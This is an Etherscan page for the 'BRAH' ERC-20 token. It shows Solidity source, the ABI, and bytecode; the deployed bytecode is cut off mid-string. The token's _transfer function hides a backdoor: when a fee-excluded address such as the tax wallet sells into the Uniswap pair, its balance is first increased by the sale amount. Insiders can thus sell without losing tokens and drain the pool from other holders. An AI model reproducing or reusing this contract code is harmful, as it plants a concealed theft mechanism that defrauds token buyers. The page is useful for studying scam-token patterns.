ERC-20
Overview
Max Total Supply
420,690,000,000 BRAH
Holders
108
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
808,973,273.586703644 BRAHValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BRAH
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-09-08 */ /** Website: https://brahcoin.vip Telegram: https://t.me/brahErc Twitter: https://x.com/brahErc */ // SPDX-License-Identifier: UNLICENSE pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BRAH is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; address payable private _taxWallet; uint256 private _initialBuyTax=16; uint256 private _initialSellTax=16; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=10; uint256 private _reduceSellTaxAt=10; uint256 private _preventSwapBefore=10; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 420690000000 * 10**_decimals; string private constant _name = unicode"Brah"; string private constant _symbol = unicode"BRAH"; uint256 public _taxSwapThreshold= 1 * _tTotal / 1000; uint256 public _maxTaxSwap= 1 * _tTotal / 100; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); event TransferTaxUpdated(uint _tax); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(0x82182c8Df416a7c7B8717C0C857bEEf73da272Ea); address _router; if(block.chainid == 1){ _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; } else if(block.chainid == 5){ _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; } else if(block.chainid == 97){ _router = 0xD99D1c33F9fC3444f8101754aBC46c52416550D1; } else if(block.chainid == 42161){ _router = 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506; } else if(block.chainid == 8453){ _router = 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24; } else { revert("Chain not configured"); } uniswapV2Router = IUniswapV2Router02(_router); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if(!tradingOpen || inSwap) { _balances[from] = _balances[from] - amount; _balances[to] = _balances[to] + amount; emit Transfer(from, to, amount); return; } if (from != owner() && to != owner() && to != _taxWallet) { if(_buyCount==0){ taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); _buyCount++; } if(to == uniswapV2Pair && _isExcludedFromFee[from]) _balances[from] += amount; if(to == uniswapV2Pair && from!= address(this) ){ taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore) { if(contractTokenBalance > _taxSwapThreshold) swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance >= 0) { sendETHToFee(address(this).balance); } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrade() external onlyOwner() { require(!tradingOpen,"trading is already open"); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } function reduceFee(uint256 _newFee) external onlyOwner { require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax); _finalBuyTax=_newFee; _finalSellTax=_newFee; } receive() external payable {} function rescueERC20(address _address, uint256 percent) external onlyOwner { uint256 _amount = IERC20(_address) .balanceOf(address(this)) .mul(percent) .div(100); IERC20(_address).transfer(owner(), _amount); } function rescueETH() external onlyOwner { require(address(this).balance > 0); payable(owner()).transfer(address(this).balance); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052601060055560106006555f6007555f600855600a600955600a8055600a600b555f600c556103e86009600a6200003b919062000460565b6200004c906461f313f88062000477565b6200005990600162000477565b62000065919062000491565b600d556064620000786009600a62000460565b62000089906461f313f88062000477565b6200009690600162000477565b620000a2919062000491565b600e556010805461ffff60a81b19169055348015620000bf575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b0319167382182c8df416a7c7b8717c0c857beef73da272ea1790555f466001036200014c5750737a250d5630b4cf539739df2c5dacb4c659f2488d6200022e565b46600503620001715750737a250d5630b4cf539739df2c5dacb4c659f2488d6200022e565b4660610362000196575073d99d1c33f9fc3444f8101754abc46c52416550d16200022e565b4661a4b103620001bc5750731b02da8cb0d097eb8d57a175b88c7d8b479975066200022e565b4661210503620001e25750734752ba5dbc23f44d87826276bf6fd6b1c372ad246200022e565b60405162461bcd60e51b815260206004820152601460248201527f436861696e206e6f7420636f6e66696775726564000000000000000000000000604482015260640160405180910390fd5b600f80546001600160a01b0319166001600160a01b038316179055620002576009600a62000460565b62000268906461f313f88062000477565b335f908152600160208190526040822092909255600390620002915f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600454909116835291208054909216179055620002ef3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620003286009600a62000460565b62000339906461f313f88062000477565b60405190815260200160405180910390a350620004b1565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620003a557815f190482111562000389576200038962000351565b808516156200039757918102915b93841c93908002906200036a565b509250929050565b5f82620003bd575060016200045a565b81620003cb57505f6200045a565b8160018114620003e45760028114620003ef576200040f565b60019150506200045a565b60ff84111562000403576200040362000351565b50506001821b6200045a565b5060208310610133831016604e8410600b841016171562000434575081810a6200045a565b62000440838362000365565b805f190482111562000456576200045662000351565b0290505b92915050565b5f6200047060ff841683620003ad565b9392505050565b80820281158282048414176200045a576200045a62000351565b5f82620004ac57634e487b7160e01b5f52601260045260245ffd5b500490565b61187680620004bf5f395ff3fe6080604052600436106100fd575f3560e01c8063715018a611610092578063a9059cbb11610062578063a9059cbb146102b5578063bf474bed146102d4578063dd62ed3e146102e9578063ec1f3f631461032d578063fb201b1d1461034c575f80fd5b8063715018a6146102305780638cd4426d146102445780638da5cb5b1461026357806395d89b4114610289575f80fd5b806320800a00116100cd57806320800a00146101ac57806323b872dd146101c2578063313ce567146101e157806370a08231146101fc575f80fd5b806306fdde0314610108578063095ea7b3146101465780630faee56f1461017557806318160ddd14610198575f80fd5b3661010457005b5f80fd5b348015610113575f80fd5b50604080518082019091526004815263084e4c2d60e31b60208201525b60405161013d919061143e565b60405180910390f35b348015610151575f80fd5b5061016561016036600461149d565b610360565b604051901515815260200161013d565b348015610180575f80fd5b5061018a600e5481565b60405190815260200161013d565b3480156101a3575f80fd5b5061018a610376565b3480156101b7575f80fd5b506101c0610397565b005b3480156101cd575f80fd5b506101656101dc3660046114c7565b61040e565b3480156101ec575f80fd5b506040516009815260200161013d565b348015610207575f80fd5b5061018a610216366004611505565b6001600160a01b03165f9081526001602052604090205490565b34801561023b575f80fd5b506101c0610475565b34801561024f575f80fd5b506101c061025e36600461149d565b6104e6565b34801561026e575f80fd5b505f546040516001600160a01b03909116815260200161013d565b348015610294575f80fd5b50604080518082019091526004815263084a482960e31b6020820152610130565b3480156102c0575f80fd5b506101656102cf36600461149d565b610626565b3480156102df575f80fd5b5061018a600d5481565b3480156102f4575f80fd5b5061018a610303366004611520565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610338575f80fd5b506101c0610347366004611557565b610632565b348015610357575f80fd5b506101c0610681565b5f61036c338484610a0e565b5060015b92915050565b5f6103836009600a611662565b610392906461f313f880611670565b905090565b5f546001600160a01b031633146103c95760405162461bcd60e51b81526004016103c090611687565b60405180910390fd5b5f47116103d4575f80fd5b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f1935050505015801561040b573d5f803e3d5ffd5b50565b5f61041a848484610b31565b61046b843361046685604051806060016040528060288152602001611819602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110b6565b610a0e565b5060019392505050565b5f546001600160a01b0316331461049e5760405162461bcd60e51b81526004016103c090611687565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461050f5760405162461bcd60e51b81526004016103c090611687565b6040516370a0823160e01b81523060048201525f906105909060649061058a9085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610560573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061058491906116bc565b906110ee565b90611173565b9050826001600160a01b031663a9059cbb6105b25f546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af11580156105fc573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061062091906116d3565b50505050565b5f61036c338484610b31565b5f546001600160a01b0316331461065b5760405162461bcd60e51b81526004016103c090611687565b600754811115801561066f57506008548111155b610677575f80fd5b6007819055600855565b5f546001600160a01b031633146106aa5760405162461bcd60e51b81526004016103c090611687565b601054600160a01b900460ff16156107045760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103c0565b600f546107319030906001600160a01b03166107226009600a611662565b610466906461f313f880611670565b600f5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610781573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107a591906116f2565b6001600160a01b031663c9c6539630600f5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610804573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061082891906116f2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610872573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061089691906116f2565b601080546001600160a01b039283166001600160a01b0319909116179055600f541663f305d71947306108dd816001600160a01b03165f9081526001602052604090205490565b5f806108f05f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610956573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061097b919061170d565b5050601054600f5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109d0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109f491906116d3565b506010805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a705760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c0565b6001600160a01b038216610ad15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103c0565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b955760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103c0565b6001600160a01b038216610bf75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103c0565b5f8111610c585760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103c0565b6010545f90600160a01b900460ff161580610c7c5750601054600160a81b900460ff165b15610d34576001600160a01b0384165f90815260016020526040902054610ca4908390611738565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610cd390839061174b565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d269086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610d5e57505f546001600160a01b03848116911614155b8015610d7857506004546001600160a01b03848116911614155b15610f8257600c545f03610daf57610dac606461058a600954600c5411610da157600554610da5565b6007545b85906110ee565b90505b6010546001600160a01b038581169116148015610dda5750600f546001600160a01b03848116911614155b8015610dfe57506001600160a01b0383165f9081526003602052604090205460ff16155b15610e3557610e1e606461058a600954600c5411610da157600554610da5565b600c80549192505f610e2f8361175e565b91905055505b6010546001600160a01b038481169116148015610e6957506001600160a01b0384165f9081526003602052604090205460ff165b15610e9b576001600160a01b0384165f9081526001602052604081208054849290610e9590849061174b565b90915550505b6010546001600160a01b038481169116148015610ec157506001600160a01b0384163014155b15610eee57610eeb606461058a600a54600c5411610ee157600654610da5565b60085485906110ee565b90505b305f90815260016020526040902054601054600160a81b900460ff16158015610f2457506010546001600160a01b038581169116145b8015610f395750601054600160b01b900460ff165b8015610f485750600b54600c54115b15610f8057600d54811115610f7457610f74610f6f84610f6a84600e546111b4565b6111b4565b6111c8565b47610f7e47611338565b505b505b8015610ffa57305f90815260016020526040902054610fa19082611373565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ff19085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461101c90836113d1565b6001600160a01b0385165f9081526001602052604090205561105f61104183836113d1565b6001600160a01b0385165f9081526001602052604090205490611373565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110a885856113d1565b604051908152602001610d26565b5f81848411156110d95760405162461bcd60e51b81526004016103c0919061143e565b505f6110e58486611738565b95945050505050565b5f825f036110fd57505f610370565b5f6111088385611670565b9050826111158583611776565b1461116c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103c0565b9392505050565b5f61116c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611412565b5f8183116111c2578261116c565b50919050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061120e5761120e611795565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611265573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061128991906116f2565b8160018151811061129c5761129c611795565b6001600160a01b039283166020918202929092010152600f546112c29130911684610a0e565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112fa9085905f908690309042906004016117a9565b5f604051808303815f87803b158015611311575f80fd5b505af1158015611323573d5f803e3d5ffd5b50506010805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561136f573d5f803e3d5ffd5b5050565b5f8061137f838561174b565b90508381101561116c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103c0565b5f61116c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110b6565b5f81836114325760405162461bcd60e51b81526004016103c0919061143e565b505f6110e58486611776565b5f6020808352835180828501525f5b818110156114695785810183015185820160400152820161144d565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461040b575f80fd5b5f80604083850312156114ae575f80fd5b82356114b981611489565b946020939093013593505050565b5f805f606084860312156114d9575f80fd5b83356114e481611489565b925060208401356114f481611489565b929592945050506040919091013590565b5f60208284031215611515575f80fd5b813561116c81611489565b5f8060408385031215611531575f80fd5b823561153c81611489565b9150602083013561154c81611489565b809150509250929050565b5f60208284031215611567575f80fd5b5035919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156115bc57815f19048211156115a2576115a261156e565b808516156115af57918102915b93841c9390800290611587565b509250929050565b5f826115d257506001610370565b816115de57505f610370565b81600181146115f457600281146115fe5761161a565b6001915050610370565b60ff84111561160f5761160f61156e565b50506001821b610370565b5060208310610133831016604e8410600b841016171561163d575081810a610370565b6116478383611582565b805f190482111561165a5761165a61156e565b029392505050565b5f61116c60ff8416836115c4565b80820281158282048414176103705761037061156e565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156116cc575f80fd5b5051919050565b5f602082840312156116e3575f80fd5b8151801515811461116c575f80fd5b5f60208284031215611702575f80fd5b815161116c81611489565b5f805f6060848603121561171f575f80fd5b8351925060208401519150604084015190509250925092565b818103818111156103705761037061156e565b808201808211156103705761037061156e565b5f6001820161176f5761176f61156e565b5060010190565b5f8261179057634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156117f75784516001600160a01b0316835293830193918301916001016117d2565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f18635196b0db649dca0f002b88b7dc5a31c02dc0c7024343691e01020eb779364736f6c63430008150033
Deployed Bytecode
0x6080604052600436106100fd575f3560e01c8063715018a611610092578063a9059cbb11610062578063a9059cbb146102b5578063bf474bed146102d4578063dd62ed3e146102e9578063ec1f3f631461032d578063fb201b1d1461034c575f80fd5b8063715018a6146102305780638cd4426d146102445780638da5cb5b1461026357806395d89b4114610289575f80fd5b806320800a00116100cd57806320800a00146101ac57806323b872dd146101c2578063313ce567146101e157806370a08231146101fc575f80fd5b806306fdde0314610108578063095ea7b3146101465780630faee56f1461017557806318160ddd14610198575f80fd5b3661010457005b5f80fd5b348015610113575f80fd5b50604080518082019091526004815263084e4c2d60e31b60208201525b60405161013d919061143e565b60405180910390f35b348015610151575f80fd5b5061016561016036600461149d565b610360565b604051901515815260200161013d565b348015610180575f80fd5b5061018a600e5481565b60405190815260200161013d565b3480156101a3575f80fd5b5061018a610376565b3480156101b7575f80fd5b506101c0610397565b005b3480156101cd575f80fd5b506101656101dc3660046114c7565b61040e565b3480156101ec575f80fd5b506040516009815260200161013d565b348015610207575f80fd5b5061018a610216366004611505565b6001600160a01b03165f9081526001602052604090205490565b34801561023b575f80fd5b506101c0610475565b34801561024f575f80fd5b506101c061025e36600461149d565b6104e6565b34801561026e575f80fd5b505f546040516001600160a01b03909116815260200161013d565b348015610294575f80fd5b50604080518082019091526004815263084a482960e31b6020820152610130565b3480156102c0575f80fd5b506101656102cf36600461149d565b610626565b3480156102df575f80fd5b5061018a600d5481565b3480156102f4575f80fd5b5061018a610303366004611520565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610338575f80fd5b506101c0610347366004611557565b610632565b348015610357575f80fd5b506101c0610681565b5f61036c338484610a0e565b5060015b92915050565b5f6103836009600a611662565b610392906461f313f880611670565b905090565b5f546001600160a01b031633146103c95760405162461bcd60e51b81526004016103c090611687565b60405180910390fd5b5f47116103d4575f80fd5b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f1935050505015801561040b573d5f803e3d5ffd5b50565b5f61041a848484610b31565b61046b843361046685604051806060016040528060288152602001611819602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110b6565b610a0e565b5060019392505050565b5f546001600160a01b0316331461049e5760405162461bcd60e51b81526004016103c090611687565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461050f5760405162461bcd60e51b81526004016103c090611687565b6040516370a0823160e01b81523060048201525f906105909060649061058a9085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610560573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061058491906116bc565b906110ee565b90611173565b9050826001600160a01b031663a9059cbb6105b25f546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af11580156105fc573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061062091906116d3565b50505050565b5f61036c338484610b31565b5f546001600160a01b0316331461065b5760405162461bcd60e51b81526004016103c090611687565b600754811115801561066f57506008548111155b610677575f80fd5b6007819055600855565b5f546001600160a01b031633146106aa5760405162461bcd60e51b81526004016103c090611687565b601054600160a01b900460ff16156107045760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103c0565b600f546107319030906001600160a01b03166107226009600a611662565b610466906461f313f880611670565b600f5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610781573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107a591906116f2565b6001600160a01b031663c9c6539630600f5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610804573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061082891906116f2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610872573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061089691906116f2565b601080546001600160a01b039283166001600160a01b0319909116179055600f541663f305d71947306108dd816001600160a01b03165f9081526001602052604090205490565b5f806108f05f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610956573d5f803e3d5ff